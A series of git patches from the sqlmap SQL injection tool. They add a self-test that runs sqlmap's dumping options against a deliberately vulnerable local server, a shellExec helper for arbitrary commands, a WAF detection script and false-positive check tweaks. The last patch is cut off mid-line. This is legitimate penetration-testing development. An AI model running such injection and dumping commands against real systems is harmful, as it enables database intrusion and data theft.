Fri, 19 Apr 2019 13:28:11 +0200 Subject: [PATCH 238/800] Implementing additional self-test stuff (--vuln-test) --- extra/vulnserver/vulnserver.py | 13 ++++++++++- lib/core/common.py | 22 ++++++++++++++---- lib/core/settings.py | 2 +- lib/core/testing.py | 41 ++++++++++++++++++++++++++++++++++ lib/parse/cmdline.py | 5 ++++- sqlmap.py | 3 +++ 6 files changed, 79 insertions(+), 7 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 85f064814a3..99e45417f1b 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -53,7 +53,7 @@ _cursor = None _server = None -def init(): +def init(quiet=False): global _conn global _cursor @@ -62,6 +62,14 @@ def init(): _cursor.executescript(SCHEMA) + if quiet: + global print + + def _(*args, **kwargs): + pass + + print = _ + class ThreadingServer(ThreadingMixIn, HTTPServer): def finish_request(self, *args, **kwargs): try: @@ -130,6 +138,9 @@ def do_POST(self): self.data = data self.do_REQUEST() + def log_message(self, format, *args): + return + def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): global _server try: diff --git a/lib/core/common.py b/lib/core/common.py index 592bfa12379..249ab64ffdf 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2091,6 +2091,19 @@ def getConsoleWidth(default=80): return width or default +def shellExec(cmd): + """ + Executes arbitrary shell command + + >>> shellExec('echo 1').strip() + '1' + """ + + try: + return subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()[0] or "" + except Exception as ex: + return six.text_type(ex) + def clearConsoleLine(forceOutput=False): """ Clears current console line @@ -2597,11 +2610,12 @@ def adjustTimeDelay(lastQueryDuration, lowerStdLimit): kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: - conf.timeSec = candidate + if lastQueryDuration / (1.0 * conf.timeSec / candidate) > MIN_VALID_DELAYED_RESPONSE: # Note: to prevent problems with fast responses for heavy-queries like RANDOMBLOB + conf.timeSec = candidate - infoMsg = "adjusting time delay to " - infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '') - logger.info(infoMsg) + infoMsg = "adjusting time delay to " + infoMsg += "%d second%s due to good response times" % (conf.timeSec, 's' if conf.timeSec > 1 else '') + logger.info(infoMsg) def getLastRequestHTTPError(): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 6781020258e..8684b44a72d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.29" +VERSION = "1.3.4.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 34ade2a1cc1..844eb8cfd06 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -10,12 +10,15 @@ import os import re import shutil +import subprocess import sys import tempfile +import threading import time import traceback from extra.beep.beep import beep +from extra.vulnserver import vulnserver from lib.controller.controller import start from lib.core.common import checkIntegrity from lib.core.common import clearConsoleLine @@ -23,6 +26,7 @@ from lib.core.common import getUnicode from lib.core.common import randomStr from lib.core.common import readXmlFile +from lib.core.common import shellExec from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths @@ -44,6 +48,43 @@ class Failures(object): _failures = Failures() +def vulnTest(): + """ + Runs the testing against 'vulnserver' + """ + + retVal = True + count, length = 0, 5 + + def _thread(): + vulnserver.init(quiet=True) + vulnserver.run() + + thread = threading.Thread(target=_thread) + thread.daemon = True + thread.start() + + for options, checks in ( + ("--flush-session", ("Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), + ("--banner --schema --dump -T users --binary-fields=surname --where 'id>3'", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), + ("--all", ("5 entries", "luther", "blisset", "fluffy", "ming", "NULL", "nameisnull")), + ("--technique=B --hex --fresh-queries --sql-query='SELECT 987654321'", ("single-thread", ": '987654321'",)), + ("--technique=T --fresh-queries --sql-query='SELECT 987654321'", (": '987654321'",)), + ): + output = shellExec("python sqlmap.py -u http://%s:%d/?id=1 --batch %s" % (vulnserver.LISTEN_ADDRESS, vulnserver.LISTEN_PORT, options)) + if not all(check in output for check in checks): + retVal = False + + count += 1 + status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) + dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + + clearConsoleLine() + if retVal: + logger.info("vuln test final result: PASSED") + else: + logger.error("vuln test final result: FAILED") + def smokeTest(): """ Runs the basic smoke testing of a program diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9f2fa1be2f0..049e1f49b71 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -722,6 +722,9 @@ def cmdLineParser(argv=None): parser.add_option("--live-test", dest="liveTest", action="store_true", help=SUPPRESS_HELP) + parser.add_option("--vuln-test", dest="vulnTest", action="store_true", + help=SUPPRESS_HELP) + parser.add_option("--stop-fail", dest="stopFail", action="store_true", help=SUPPRESS_HELP) @@ -913,7 +916,7 @@ def _(self, *args): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/sqlmap.py b/sqlmap.py index 8bb852b97dd..427796a58f8 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -160,6 +160,9 @@ def main(): if conf.smokeTest: from lib.core.testing import smokeTest smokeTest() + elif conf.vulnTest: + from lib.core.testing import vulnTest + vulnTest() elif conf.liveTest: from lib.core.testing import liveTest liveTest() From e7469ab57087031a634884807db06be01f635c92 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 19 Apr 2019 13:54:48 +0200 Subject: [PATCH 239/800] Trivial code style updates --- extra/shutils/blanks.sh | 2 +- extra/shutils/drei.sh | 2 +- extra/shutils/pydiatra.sh | 2 +- extra/shutils/pyflakes.sh | 2 +- extra/vulnserver/vulnserver.py | 2 +- lib/core/compat.py | 8 +-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 +- lib/request/connect.py | 2 +- lib/utils/sgmllib.py | 93 +++++++++++++++++------------ plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- waf/chinacache.py | 2 +- 14 files changed, 73 insertions(+), 54 deletions(-) diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 4edfb86be56..9813f9a10cf 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index ae7934a34e5..e45a1fd1ddb 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Stress test against Python3 diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh index dbb0907ea3b..3b560004a22 100755 --- a/extra/shutils/pydiatra.sh +++ b/extra/shutils/pydiatra.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs py2diatra on all python files (prerequisite: pip install pydiatra) diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh index 0938d5e0873..e4ea94d7487 100755 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 99e45417f1b..bb730b66556 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -117,7 +117,7 @@ def do_REQUEST(self): output += "%s" % value output += "\n" output += "\n" - output += ""; + output += "" except Exception as ex: output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) diff --git a/lib/core/compat.py b/lib/core/compat.py index f08bfedc2d9..0cb669f8155 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -37,7 +37,7 @@ def seed(self, a=None): a = int(binascii.hexlify(os.urandom(16)), 16) except NotImplementedError: import time - a = int(time.time() * 256) # use fractional seconds + a = int(time.time() * 256) # use fractional seconds if not isinstance(a, int): a = hash(a) @@ -45,7 +45,7 @@ def seed(self, a=None): a, x = divmod(a, 30268) a, y = divmod(a, 30306) a, z = divmod(a, 30322) - self._seed = int(x)+1, int(y)+1, int(z)+1 + self._seed = int(x) + 1, int(y) + 1, int(z) + 1 self.gauss_next = None @@ -78,7 +78,7 @@ def random(self): # Note: on a platform using IEEE-754 double arithmetic, this can # never return 0.0 (asserted by Tim; proof too long for a comment). - return (x/30269.0 + y/30307.0 + z/30323.0) % 1.0 + return (x / 30269.0 + y / 30307.0 + z / 30323.0) % 1.0 def getstate(self): """Return internal state; can be passed to setstate() later.""" @@ -130,7 +130,7 @@ def __whseed(self, x=0, y=0, z=0): # Initialize from current time import time t = int(time.time() * 256) - t = int((t&0xffffff) ^ (t>>24)) + t = int((t & 0xffffff) ^ (t >> 24)) t, x = divmod(t, 256) t, y = divmod(t, 256) t, z = divmod(t, 256) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8684b44a72d..bcef70f3b3a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.30" +VERSION = "1.3.4.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 049e1f49b71..b20b95aa741 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -224,7 +224,7 @@ def cmdLineParser(argv=None): request.add_option("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") - + # Optimization options optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap") @@ -600,7 +600,7 @@ def cmdLineParser(argv=None): help="Parse and display DBMS error messages from responses") general.add_option("--preprocess", dest="preprocess", - help="Use given script(s) for preprocessing of response data") + help="Use given script(s) for preprocessing of response data") general.add_option("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) diff --git a/lib/request/connect.py b/lib/request/connect.py index e89dfafa9ee..fe87fd101e5 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -406,7 +406,7 @@ def getPage(**kwargs): if conf.keepAlive: headers[HTTP_HEADER.CONNECTION] = "keep-alive" - + if chunked: headers[HTTP_HEADER.TRANSFER_ENCODING] = "chunked" diff --git a/lib/utils/sgmllib.py b/lib/utils/sgmllib.py index 2275297890b..c69e089968a 100644 --- a/lib/utils/sgmllib.py +++ b/lib/utils/sgmllib.py @@ -21,9 +21,9 @@ interesting = re.compile('[&<]') incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|' - '<([a-zA-Z][^<>]*|' - '/([a-zA-Z][^<>]*)?|' - '![^<>]*)?') + '<([a-zA-Z][^<>]*|' + '/([a-zA-Z][^<>]*)?|' + '![^<>]*)?') entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]') charref = re.compile('&#([0-9]+)[^0-9]') @@ -58,8 +58,8 @@ class SGMLParseError(RuntimeError): class SGMLParser(_markupbase.ParserBase): # Definition of entities -- derived classes may override entity_or_charref = re.compile('&(?:' - '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' - ')(;?)') + '([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)' + ')(;?)') def __init__(self, verbose=0): """Initialize and reset this instance.""" @@ -121,32 +121,37 @@ def goahead(self, end): i = n break match = interesting.search(rawdata, i) - if match: j = match.start() - else: j = n + if match: + j = match.start() + else: + j = n if i < j: self.handle_data(rawdata[i:j]) i = j - if i == n: break + if i == n: + break if rawdata[i] == '<': if starttagopen.match(rawdata, i): if self.literal: self.handle_data(rawdata[i]) - i = i+1 + i = i + 1 continue k = self.parse_starttag(i) - if k < 0: break + if k < 0: + break i = k continue if rawdata.startswith(" (i + 1): self.handle_data("<") - i = i+1 + i = i + 1 else: # incomplete break @@ -157,12 +162,14 @@ def goahead(self, end): # This should be removed, # and comments handled only in parse_declaration. k = self.parse_comment(i) - if k < 0: break + if k < 0: + break i = k continue if rawdata.startswith(""). k = self.parse_declaration(i) - if k < 0: break + if k < 0: + break i = k continue elif rawdata[i] == '&': if self.literal: self.handle_data(rawdata[i]) - i = i+1 + i = i + 1 continue match = charref.match(rawdata, i) if match: name = match.group(1) self.handle_charref(name) i = match.end(0) - if rawdata[i-1] != ';': i = i-1 + if rawdata[i-1] != ';': + i = i-1 continue match = entityref.match(rawdata, i) if match: name = match.group(1) self.handle_entityref(name) i = match.end(0) - if rawdata[i-1] != ';': i = i-1 + if rawdata[i-1] != ';': + i = i-1 continue else: self.error('neither < nor & ??') @@ -199,11 +209,11 @@ def goahead(self, end): match = incomplete.match(rawdata, i) if not match: self.handle_data(rawdata[i]) - i = i+1 + i = i + 1 continue j = match.end(0) if j == n: - break # Really incomplete + break # Really incomplete self.handle_data(rawdata[i:j]) i = j # end while @@ -256,32 +266,33 @@ def parse_starttag(self, i): # As a shortcut way to exit, this isn't so bad, but shouldn't # be used to locate the actual end of the start tag since the # < or > characters may be embedded in an attribute value. - match = endbracket.search(rawdata, i+1) + match = endbracket.search(rawdata, i + 1) if not match: return -1 j = match.start(0) - # Now parse the data between i+1 and j into a tag and attrs + # Now parse the data between i + 1 and j into a tag and attrs attrs = [] if rawdata[i:i+2] == '<>': # SGML shorthand: <> == k = j tag = self.lasttag else: - match = tagfind.match(rawdata, i+1) + match = tagfind.match(rawdata, i + 1) if not match: self.error('unexpected call to parse_starttag') k = match.end(0) - tag = rawdata[i+1:k].lower() + tag = rawdata[i + 1:k].lower() self.lasttag = tag while k < j: match = attrfind.match(rawdata, k) - if not match: break + if not match: + break attrname, rest, attrvalue = match.group(1, 2, 3) if not rest: attrvalue = attrname else: if (attrvalue[:1] == "'" == attrvalue[-1:] or - attrvalue[:1] == '"' == attrvalue[-1:]): + attrvalue[:1] == '"' == attrvalue[-1:]): # strip quotes attrvalue = attrvalue[1:-1] attrvalue = self.entity_or_charref.sub( @@ -289,7 +300,7 @@ def parse_starttag(self, i): attrs.append((attrname.lower(), attrvalue)) k = match.end(0) if rawdata[j] == '>': - j = j+1 + j = j + 1 self.__starttag_text = rawdata[start_pos:j] self.finish_starttag(tag, attrs) return j @@ -308,13 +319,13 @@ def _convert_ref(self, match): # Internal -- parse endtag def parse_endtag(self, i): rawdata = self.rawdata - match = endbracket.search(rawdata, i+1) + match = endbracket.search(rawdata, i + 1) if not match: return -1 j = match.start(0) tag = rawdata[i+2:j].strip().lower() if rawdata[j] == '>': - j = j+1 + j = j + 1 self.finish_endtag(tag) return j @@ -361,7 +372,8 @@ def finish_endtag(self, tag): return found = len(self.stack) for i in range(found): - if self.stack[i] == tag: found = i + if self.stack[i] == tag: + found = i while len(self.stack) > found: tag = self.stack[-1] try: @@ -411,7 +423,7 @@ def handle_charref(self, name): # Definition of entities -- derived classes may override entitydefs = \ - {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} + {'lt': '<', 'gt': '>', 'amp': '&', 'quot': '"', 'apos': '\''} def convert_entityref(self, name): """Convert entity references. @@ -450,10 +462,17 @@ def handle_pi(self, data): pass # To be overridden -- handlers for unknown objects - def unknown_starttag(self, tag, attrs): pass - def unknown_endtag(self, tag): pass - def unknown_charref(self, ref): pass - def unknown_entityref(self, ref): pass + def unknown_starttag(self, tag, attrs): + pass + + def unknown_endtag(self, tag): + pass + + def unknown_charref(self, ref): + pass + + def unknown_entityref(self, ref): + pass class TestSGMLParser(SGMLParser): @@ -511,7 +530,7 @@ def close(self): self.flush() -def test(args = None): +def test(args=None): import sys if args is None: @@ -548,4 +567,4 @@ def test(args = None): if __name__ == '__main__': - test() \ No newline at end of file + test() diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 7e93a4c1228..c640bae433e 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -8,4 +8,4 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index 7e93a4c1228..c640bae433e 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -8,4 +8,4 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - pass \ No newline at end of file + pass diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 35b6e42bb2a..e0d798ddf68 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -8,4 +8,4 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - pass \ No newline at end of file + pass diff --git a/waf/chinacache.py b/waf/chinacache.py index 35fc66c1b20..0a3021fb10c 100644 --- a/waf/chinacache.py +++ b/waf/chinacache.py @@ -19,4 +19,4 @@ def detect(get_page): if retval: break - return retval \ No newline at end of file + return retval From 9b46540e00c4cb2d6b58d64cb10c5e0ce180fc3d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 19 Apr 2019 14:36:23 +0200 Subject: [PATCH 240/800] Adding exit code (1) in case of sqlmap fail --- lib/core/settings.py | 2 +- lib/core/testing.py | 6 ++++-- sqlmap.py | 12 ++++++++---- 3 files changed, 13 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bcef70f3b3a..d4d6d1e2cfa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.31" +VERSION = "1.3.4.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 844eb8cfd06..0e13bb1ee74 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -10,7 +10,6 @@ import os import re import shutil -import subprocess import sys import tempfile import threading @@ -54,7 +53,7 @@ def vulnTest(): """ retVal = True - count, length = 0, 5 + count, length = 0, 6 def _thread(): vulnserver.init(quiet=True) @@ -65,6 +64,7 @@ def _thread(): thread.start() for options, checks in ( + ("--version", ("1.", "#")), ("--flush-session", ("Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), ("--banner --schema --dump -T users --binary-fields=surname --where 'id>3'", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("--all", ("5 entries", "luther", "blisset", "fluffy", "ming", "NULL", "nameisnull")), @@ -85,6 +85,8 @@ def _thread(): else: logger.error("vuln test final result: FAILED") + return retVal + def smokeTest(): """ Runs the basic smoke testing of a program diff --git a/sqlmap.py b/sqlmap.py index 427796a58f8..dbefe65a0bf 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -159,13 +159,13 @@ def main(): # Postponed imports (faster start) if conf.smokeTest: from lib.core.testing import smokeTest - smokeTest() + os._exitcode = 1 - (smokeTest() or 0) elif conf.vulnTest: from lib.core.testing import vulnTest - vulnTest() + os._exitcode = 1 - (vulnTest() or 0) elif conf.liveTest: from lib.core.testing import liveTest - liveTest() + os._exitcode = 1 - (liveTest() or 0) else: from lib.controller.controller import start if conf.profile and PY2: @@ -176,6 +176,8 @@ def main(): try: start() except Exception as ex: + os._exitcode = 1 + if "can't start new thread" in getSafeExString(ex): errMsg = "unable to start new threads. Please check OS (u)limits" logger.critical(errMsg) @@ -409,7 +411,9 @@ def main(): finally: # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program if threading.activeCount() > 1: - os._exit(0) + os._exit(getattr(os, "_exitcode", 0)) + else: + sys.exit(getattr(os, "_exitcode", 0)) else: # cancelling postponed imports (because of Travis CI checks) from lib.controller.controller import start From 9a0a80302573865c6ebf4495d4a0f31e0bf03fea Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 23 Apr 2019 00:31:20 +0200 Subject: [PATCH 241/800] Adding new WAF script (based on identYwaf update) --- lib/core/settings.py | 2 +- waf/astra.py | 21 +++++++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) create mode 100644 waf/astra.py diff --git a/lib/core/settings.py b/lib/core/settings.py index d4d6d1e2cfa..044113e04fa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.32" +VERSION = "1.3.4.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/waf/astra.py b/waf/astra.py new file mode 100644 index 00000000000..b979c7732f3 --- /dev/null +++ b/waf/astra.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python2 + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Astra (Czar Securities)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval |= all(_ in (page or "") for _ in ("unfortunately our website protection system", "//www.getastra.com")) + if retval: + break + + return retval From c4e3ce1dacd860e1eb97e79a416b46f1da8f910a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 23 Apr 2019 00:55:14 +0200 Subject: [PATCH 242/800] Fixes #3598 --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 044113e04fa..cfba0996877 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.33" +VERSION = "1.3.4.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 995fe95ea79..557aee7bc77 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -729,7 +729,7 @@ class _(six.text_type): setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) kb.postSpaceToPlus = '+' in original - match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "") + match = re.search(INJECT_HERE_REGEX, "%s %s %s" % (conf.url, conf.data, conf.httpHeaders)) kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR def setupTargetEnv(): From 14bf1e4ce7fae8c3466fed4f9632f1a52aeccf44 Mon Sep 17 00:00:00 2001 From: gweeperx Date: Mon, 29 Apr 2019 11:58:12 +0300 Subject: [PATCH 243/800] Add INFERENCE_EQUALS_CHAR during the check for false positives (#3609) * Update checks.py * Update checks.py --- lib/controller/checks.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 34eb41b5f27..231ce55bce1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -99,6 +99,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.comparison import comparison @@ -915,23 +916,23 @@ def _(): if randInt3 > randInt2 > randInt1: break - if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)): + if not checkBooleanExpression("%d%s%d" % (randInt1,INFERENCE_EQUALS_CHAR, randInt1)): retVal = False break # Just in case if DBMS hasn't properly recovered from previous delayed request if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: - checkBooleanExpression("%d=%d" % (randInt1, randInt2)) + checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) - if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True + if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True retVal = False break - elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True + elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True retVal = False break - elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True + elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True retVal = False break From ff61417fc0e88740df414fd4e1d3e7e402026d7a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Apr 2019 11:01:40 +0200 Subject: [PATCH 244/800] Trivial style update --- lib/controller/checks.py | 7 +++---- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 231ce55bce1..cd912cec251 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -916,13 +916,12 @@ def _(): if randInt3 > randInt2 > randInt1: break - if not checkBooleanExpression("%d%s%d" % (randInt1,INFERENCE_EQUALS_CHAR, randInt1)): + if not checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt1)): retVal = False break - # Just in case if DBMS hasn't properly recovered from previous delayed request if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: - checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) + checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True retVal = False @@ -936,7 +935,7 @@ def _(): retVal = False break - elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) + elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) retVal = False break diff --git a/lib/core/settings.py b/lib/core/settings.py index cfba0996877..6388c2bbce6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.34" +VERSION = "1.3.4.35" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and 